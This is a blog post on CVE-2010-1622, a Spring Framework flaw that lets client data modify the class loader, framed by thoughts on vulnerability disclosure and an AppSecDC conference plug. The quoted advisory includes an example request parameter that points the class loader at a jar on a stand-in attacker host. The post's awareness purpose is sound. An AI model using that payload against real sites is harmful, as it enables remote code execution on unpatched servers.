Spring Framework execution of arbitrary code attack

In the security world, there is the phrase Zero Day Attack that is sometimes interpreted in different ways by different individuals. I'm not trying to resolve (or even talk) about the different meanings people apply to it, but instead I'm going to talk about the conundrum involved around when and to whom you should report a software vulnerability to.

The general thought amongst white hats is that a potential exploit should be first reported to the software vendor or individual who is responsible for the vulnerable software so they have a chance to patch it. But the conundrum comes in when a vendor or individual isn't very responsive to the reporting of a bug....is it then your duty to report it to the general infosec community as soon as possible, because what if others have already found the bug - and are using it to hack into systems across the world.

Well, luckily for me, my conundrum is much simpler. The question is whether to pass on information about an already reported vulnerability, or to get a chance to work on some sample code to further study the vulnerability and then put out a more interesting post about it.

I was hoping to have a chance to play around with one of the latest Spring security vulnerabilities last night after learning about it from a colleague at CapSecDC last night, but seeing as how the CapSec crowd didn't disperse til close to midnight, I didn't get a chance.

So, I think that the responsible thing to do is to help publicize this vulnerability sooner rather then later. If you are running a Spring MVC or Grails website, this is worth a look.

The description for CVE-2010-1622 is as follows:

Description:

The Spring Framework provides a mechanism to use client provided data to update the properties of an object. This mechanism allows an attacker to modify the properties of the class loader used to load the object (via 'class.classloader'). This can lead to arbitrary command execution since, for example, an attacker can modify the URLs used by the class loader to point to locations controlled by the attacker.

Example: http://...class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/

And it has already been reported to SpringSource which has patches for this in both the Spring 2.5 and Spring 3.0 branches.

An interesting write-up of it can be found here

I was a bit surprised that I hadn't heard about this before last night, and I hope to help get the word out. Please pass this along to other developers and sites that are active users of Spring.

David Sachdev

AppSecDC 2010

By the way....if anyone is interested in Application Security, we will be having the OWASP Security Conference AppSecDC here in the Nation's capital. The call for papers is currently open (as well as the call for training): http://www.translucent-development.com/drupal/content/keeping-crooks-out-your-webapp-appsecdc-call-papers

Digg this

Theme provided by Danetsoft under GPL license from Danang Probo Sayekti